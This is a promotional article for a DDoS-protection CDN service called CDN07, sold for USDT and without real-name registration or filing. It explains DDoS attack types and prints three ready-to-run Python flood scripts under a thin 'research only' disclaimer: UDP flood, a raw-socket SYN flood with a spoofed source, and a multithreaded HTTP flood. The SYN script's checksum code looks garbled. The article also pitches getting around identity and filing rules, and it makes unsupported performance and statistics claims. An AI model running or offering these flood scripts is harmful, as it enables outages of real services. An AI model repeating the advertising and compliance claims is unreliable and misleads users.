Whether it is the official website of a small business, or a large e-commerce platform or game server, it may become a target of DDoS attacks. At the same time, with the rise of cryptocurrency, digital currency payment methods such as USDT are favored by more and more users due to their convenience and anonymity. For some users who need high-defense CDN services and have concerns about real-name and filing processes, high-defense CDN that supports USDT payment and does not require real-name or filing is undoubtedly an attractive solution.

1. Overview of high-defense CDN

(I) Basic principles of CDN

CDN, or content delivery network, has the core purpose of placing node servers throughout the network to distribute content to users more efficiently.

When a user requests to access the content of a website, the CDN system will intelligently select the node server closest to the user and with a lower load based on factors such as the user's geographic location and network conditions to provide the user with the corresponding content.

For example, if a user in Beijing wants to visit the product page of a multinational e-commerce platform, if the e-commerce platform has deployed CDN, the system may quickly retrieve the static resources such as pictures and texts of the product page from the CDN node server located in Beijing or surrounding areas, and return them directly to the user. In this way, the distance and time of data transmission are greatly shortened, and the speed and experience of users accessing the website are significantly improved.

(II) Unique advantages of high-defense CDN

Ordinary CDN mainly focuses on improving the speed and efficiency of content distribution, while high-defense CDN adds powerful security protection functions on this basis to resist various network attacks, especially DDoS attacks. High-defense CDN has super-large bandwidth resources and can withstand and process massive attack traffic.

Take some professional high-defense CDN service providers as an example. They can provide defense bandwidth up to T level or even higher, which is enough to deal with large-scale DDoS attacks. When an attack occurs, high-defense CDN can quickly identify the attack traffic and divert it to special cleaning equipment or nodes for processing.

Through a series of advanced algorithms and technical means, the attack traffic is cleaned and filtered, and only normal user requests are forwarded to the source server, thereby ensuring the normal operation of the source server and the continuous availability of the website or online business.

2. Threats and Challenges of DDoS Attacks

(I) Detailed Introduction to DDoS Attacks

1. Definition and Concept: DDoS, or Distributed Denial of Service, is a malicious network attack. The attacker controls a large number of compromised computers (i.e., botnets) and sends a large number of requests to the target server, causing the target server to run out of resources and unable to provide services to legitimate users.

These controlled computers may be distributed all over the world. Under the command of the attacker, they are like "puppets" and attack the target at the same time, making the attack traffic distributed, huge in scale, and difficult to defend.

2. Common types:

(1) Traffic attack: This is one of the most common types of DDoS attacks. Attackers control a large number of botnets to send a large amount of useless traffic to the target server, such as UDPFlood attacks and ICMPFlood attacks. These attack traffic will occupy the network bandwidth of the target server, causing the server to be paralyzed and unable to provide services to legitimate users.

For example, in a UDPFlood attack, the attacker uses the connectionless feature of the UDP protocol to send a large number of UDP data packets with forged source IPs to random ports of the target server, making the target server busy processing these invalid requests and eventually exhausting network bandwidth resources.

According to statistics, UDPFlood attacks account for about 30% of all DDoS attacks and are one of the most serious types of attacks that consume network bandwidth resources.

The following is a simple Python code example for a UDPFlood attack (for technical research and demonstration only, not for illegal activities):

import socket
import random
target = 'Target server IP'
port = 80  # Destination Port
while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect((target, port))
    data = random._urandom(1024)  # Generate random data
    s.sendto(data, (target, port))
    print(f"Sent {len(data)} bytes to {target}:{port}")
    s.close()

(2) Protocol attacks: This type of attack mainly targets the weaknesses of network protocols, such as SYN Flood attacks and ACK Flood attacks. Taking SYN Flood attacks as an example, the attacker will send a large number of SYN connection requests to the target server, but will not complete the three-way handshake process. Since the server will allocate certain resources for each request to wait for the client's ACK confirmation after receiving the SYN request, when a large number of half-open connection requests accumulate, the server's resources will be quickly exhausted, making it unable to respond to normal users' connection requests.

SYN Flood attacks were more common in early DDoS attacks, accounting for about 25% of the total number of attacks. With the development of network protection technology, its proportion has decreased, but it is still a type of attack with a greater threat.

The following is a simple SYN Flood attack Python code example (for technical research and demonstration only, do not use it for illegal activities):

import socket
import struct
import random
target = 'Target server IP'
port = 80  # Destination Port
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
ip_ihl = 5
ip_ver = 4
ip_tos = 0
ip_tot_len = 0
ip_id = random.randint(1, 65535)
ip_frag_off = 0
ip_ttl = 255
ip_proto = socket.IPPROTO_TCP
ip_check = 0
ip_saddr = socket.inet_aton('Forged source IP')
ip_daddr = socket.inet_aton(target)
ip_ihl_ver = (ip_ver << 4) + ip_ihl
ip_header = struct.pack('!BBHHHBBH4s4s', ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr)
tcp_source = random.randint(1024, 65535)
tcp_dest = port
tcp_seq = 0
tcp_ack_seq = 0
tcp_doff = 5
tcp_fin = 0
tcp_syn = 1
tcp_rst = 0
tcp_psh = 0
tcp_ack = 0
tcp_urg = 0
tcp_window = socket.htons(5840)
tcp_check = 0
tcp_urg_ptr = 0
tcp_offset_res = (tcp_doff << 4) + 0
tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh << 3) + (tcp_ack << 4) + (tcp_urg << 5)
tcp_header = struct.pack('!HHLLBBHHH', tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr)
pseudo_header = struct.pack('!4s4sBBH', ip_saddr, ip_daddr, 0, ip_proto, len(tcp_header))
pseudo_header += tcp_header
tcp_check = socket.htons(~socket.ntohs(struct.unpack('!H', socket.inet_pton(socket.AF_INET, '0.0.0.0'))[0] + struct.unpack('!H', socket.inet_pton(socket.AF_INET, '0.0.0.0'))[0] + struct.unpack('!H', struct.pack('!BBHHHBBH4s4s', ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr))[0] + struct.unpack('!H', struct.pack('!HHLLBBHHH', tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr))[0])[0])
tcp_header = struct.pack('!HHLLBBHHH', tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr)
packet = ip_header + tcp_header
while True:
    sock.sendto(packet, (target, port))
    print(f"Sent SYN packet to {target}:{port}")

(3) Application-based attacks: Application-based attacks focus on application layer protocols, such as HTTP Flood attacks and CC (Challenge Collapsar) attacks. HTTP Flood attacks exhaust the server's CPU, memory and other resources by sending a large number of HTTP requests to the URL of the target website, causing the website to fail to respond normally.

CC attacks are attacks in which attackers control botnets, simulate the access behavior of normal users, and send a large number of seemingly legitimate requests to the target website, such as frequent refreshes of dynamic pages, thereby causing the server to be overloaded and paralyzed.

In recent years, the proportion of application-based attacks has gradually increased in DDoS attacks, especially in attacks on e-commerce, games and other businesses. The proportion of HTTP Flood attacks and CC attacks is relatively high, accounting for about 40% of the total number of attacks.

The following is a simple HTTP Flood attack Python code example (for technical research and demonstration only, do not use for illegal activities):

import requests
import threading
url = 'Target website URL'
def flood():
    while True:
        try:
            requests.get(url)
            print(f"Sent GET request to {url}")
        except Exception as e:
            print(f"Error: {e}")
threads = []
for _ in range(100):  # Create 100 threads to attack
    t = threading.Thread(target=flood)
    t.start()
    threads.append(t)
for t in threads:
    t.join()

3. Attack principle and process: The attacker will first invade a large number of computer devices through various means, such as vulnerability exploitation and malware propagation, and transform them into nodes in the botnet. These nodes are usually implanted with specific control programs, allowing the attacker to remotely control them. When launching an attack, the attacker sends instructions to the nodes in the botnet, and these nodes will follow the instructions and send a large number of requests to the target server at the same time.

For example, in a UDPFlood attack, thousands of botnet nodes controlled by the attacker will simultaneously send UDP packets to a specific port of the target server. Each node may send hundreds or even thousands of packets per second. These packets converge to form a huge traffic peak, instantly flooding the network bandwidth of the target server.

4. Attack tools and means: The DDoS attack tools commonly used by attackers include open source tools and commercial tools. Open source tools such as LOIC (LowOrbitIonCannon) are simple to operate and easy to use, and even some attackers with low technical skills can use them easily. Commercial tools are usually more powerful and have more significant attack effects, but they are also relatively expensive and are often traded in underground networks.

Attackers also use some legitimate network services to launch DDoS attacks, such as DNS amplification attacks. Attackers construct special DNS query requests and send query results to the target server. Since the query result traffic is much larger than the request traffic, the attack traffic is amplified.

In addition, attackers also use IP address forging technology to hide their real IP addresses, increasing the difficulty of attack tracing.

(II) Serious consequences of DDoS attacks
Once a DDoS attack succeeds, it will bring many disastrous consequences to enterprises and websites. From an economic perspective, the website cannot operate normally during the attack, which will lead to direct business revenue losses. For e-commerce platforms, every second of website paralysis may mean the loss of a large number of orders and the permanent loss of potential customers. According to relevant statistics, some large e-commerce companies lost millions or even tens of millions of yuan in sales after their websites were interrupted for several hours due to DDoS attacks.

At the same time, in order to cope with the attack, enterprises need to invest a lot of manpower, material resources and financial resources to restore business, including purchasing emergency security protection services, system repair and data recovery, etc. These additional costs further increase the economic burden of enterprises.

Frequent and long-term DDoS attacks can also seriously damage the reputation and brand image of enterprises, reduce users' trust in enterprises, and affect the long-term development of enterprises.

For example, after a well-known online travel platform suffered a week-long DDoS attack, not only did the order volume drop sharply, but also negative reviews surged on the user evaluation platform. Many users said that they would no longer choose the platform for travel bookings due to the instability of the website. The market share of the platform fell by nearly 15% in the following months.

3. Advantages of supporting USDT payment

(I) Convenience of USDT payment
USDT is based on blockchain technology, and its payment process does not need to go through the cumbersome clearing and review process of intermediaries like traditional bank transfers. Users only need to enter the other party's payment address and payment amount in the platform or wallet that supports USDT payment to complete the payment operation. The whole process can usually be completed within a few minutes, and even cross-border payments can be received instantly. In contrast, traditional cross-border bank transfers may take hours or even days to arrive, and high handling fees are required.
(II) Anonymity and privacy protection
In the traditional payment system, users' payment behaviors often leave a lot of personal information and transaction records, which may be collected and stored by financial institutions, third-party payment platforms, etc., and there is a certain risk of privacy leakage. USDT payment uses the anonymity technology of blockchain. When making payments, users only need to provide wallet addresses without revealing personal identity information, such as name, ID number, bank card number, etc. This is very attractive to some users who attach great importance to privacy protection. For example, some users who work in sensitive industries or value personal privacy prefer to use USDT to pay when purchasing high-defense CDN services to avoid excessive exposure of personal information.
(III) Global applicability
Since USDT is a blockchain-based digital currency, it is not restricted by national borders and regions. As long as there is a network connection, users can use USDT for payment. This allows users around the world to complete payments more conveniently when purchasing high-defense CDN services, without having to worry about payment barriers caused by differences in payment systems in different countries and regions.

IV. The significance of free real-name registration/free filing

(I) Saving time and energy
In the traditional CDN service procurement process, real-name registration and filing usually require users to submit a large amount of personal or corporate information, such as ID card scans, business license copies, website filing information, etc. The preparation and submission process of these materials is cumbersome and complicated, requiring users to spend a lot of time and energy.

For example, when corporate users are filing a website, they may need to fill in detailed website information, person in charge information, and submit a series of supporting documents in accordance with the requirements of the relevant departments. After the filing application is submitted, it is necessary to wait for the review of the relevant departments, and the review cycle may take weeks or even months. For the high-defense CDN service that does not require real-name registration/free filing, users do not need to go through these cumbersome processes, can quickly complete the procurement and deployment of services, and devote more time and energy to the development of core businesses.
(II) Meeting the needs of special scenarios
For some businesses or websites in special scenarios, real-name registration and filing may have certain difficulties or limitations. For example, some temporary event websites have a short operating cycle and may no longer be used after the event is completed. If such a website is subject to real-name registration and filing, not only will the cost be high, but the activity may end before the filing process is completed.

For some companies engaged in emerging industries or innovative businesses, their business models may not be fully mature or there may be certain uncertainties. In this case, real-name registration and filing may face some policy gray areas or restrictions. High-defense CDN services without real-name registration/filing can provide flexible solutions for businesses and websites in these special scenarios, enabling them to quickly conduct business and ensure network security without being restricted by real-name registration and filing.

V. Evaluation and recommendation of high-defense CDN service provider CDN07

(I) CDN07 defense performance
CDN07 has excellent defense capabilities, and its core advantage lies in the full-dimensional attack protection system.

(II) Node distribution and performance optimization
CDN07 has deployed more than 200 nodes around the world, covering major countries and regions in six continents. Its node layout has three core advantages:

(III) Service stability and technical support
CDN07 has built an industry-leading service system with 99.99% service availability and 7×24-hour rapid response:

(IV) Price and cost-effectiveness advantages
CDN07 provides flexible and diverse package options to meet the needs of users of different sizes:

Our Pricing

Flexible and diverse package options

• Monthly
• Yearly

Standard

Great for large teams

$

800

/Monthly

Get Started

• 

  DDOS Protection Value: 200Gbps

• 

  CC Defense Value: 40000QPS

• 

  Number of Domains: 6

• 

  SSL Certificate: YES

• 

  Anti-blocking: YES

• 

  Websocket: YES

• 

  Network Acceleration: YES

Business

Advanced projects

$

2000

/Monthly

• 

  DDOS Protection Value: 400Gbps

• 

  CC Defense Value: 50000QPS

• 

  Number of Domains: 50

• 

  SSL Certificate: YES

• 

  Anti-blocking: YES

• 

  Websocket: YES

• 

  Network Acceleration: YES

Get Started

Enterprise

For big companies

$

5000

/Monthly

Get Started

• 

  DDOS Protection Value: 500Gbps

• 

  CC Defense Value: 200000QPS

• 

  Number of Domains: 100+

• 

  SSL Certificate: YES

• 

  Anti-blocking: YES

• 

  Websocket: YES

• 

  Network Acceleration: YES

Get Free Quote How We Work

Exclusive benefits for USDT payment:

• Supports mainstream chains such as TRC-20 and ERC-20, with no cross-border payment fees;
• 1 month of free service for deposits over 50,000 USDT, and corporate customers can apply for quarterly/annual discounts;
• Provides 7-day no-reason refund guarantee, and users can verify the service effect without risk during the trial period.

VI. FAQ

Q1: Is it safe to pay with USDT? Does it support refunds?
A: CDN07 uses blockchain technology to ensure payment security, and the user's wallet address and account information are strictly encrypted. We provide a 7-day no-reason refund policy. If you are not satisfied with the service, you can apply for a full refund during the trial period without a cumbersome review process.

Q2: Does the exemption from real-name registration/exemption from filing comply with laws and regulations? Will it affect the service quality?
A: CDN07's services are deployed in compliant overseas nodes, and no domestic filing is required. Users only need an email or mobile phone number to register, and no personal identity information is required. The service quality is exactly the same as that of real-name registered users, and there is no difference in defense capabilities, node performance, and technical support.

Q3: How does CDN07 deal with sudden large-scale DDoS attacks?
A: Our distributed cleaning cluster can be elastically expanded to 5Tbps+ defense bandwidth. Combined with intelligent traffic traction technology, it can complete the adjustment of traffic cleaning strategies within 10 seconds after the attack occurs. Historical data shows that it has successfully resisted ultra-large-scale attacks of 4.8Tbps, and the source station has always maintained normal operation.

Q4: Which regions are covered by the nodes? How is the access speed for domestic users?
A: CDN07 has deployed 200+ nodes around the world, covering major regions such as China (including Hong Kong and Taiwan), the United States, Europe, Southeast Asia, Japan and South Korea. When domestic users access overseas node resources, the average delay can be controlled within 30ms through CN2 dedicated line optimization, which is close to the access speed of local servers.

Q5: Is technical support provided? How to respond when encountering problems?
A: We provide 7×24 hours online customer service and technical support. Users can contact us through backend work orders, emails, real-time chats and other channels. The response time for ordinary problems is ≤5 minutes. Major failures can trigger emergency plans. The dedicated engineering team will follow up until the problem is solved.

CDN07 has become the preferred solution for dealing with DDoS attacks with its excellent defense capabilities, global node layout, convenient USDT payment methods and real-name/registration-free features. Whether it is a small or medium-sized website or a large enterprise, CDN07 can quickly build a secure and stable network architecture and focus on core business development without worrying about network attacks and cumbersome processes.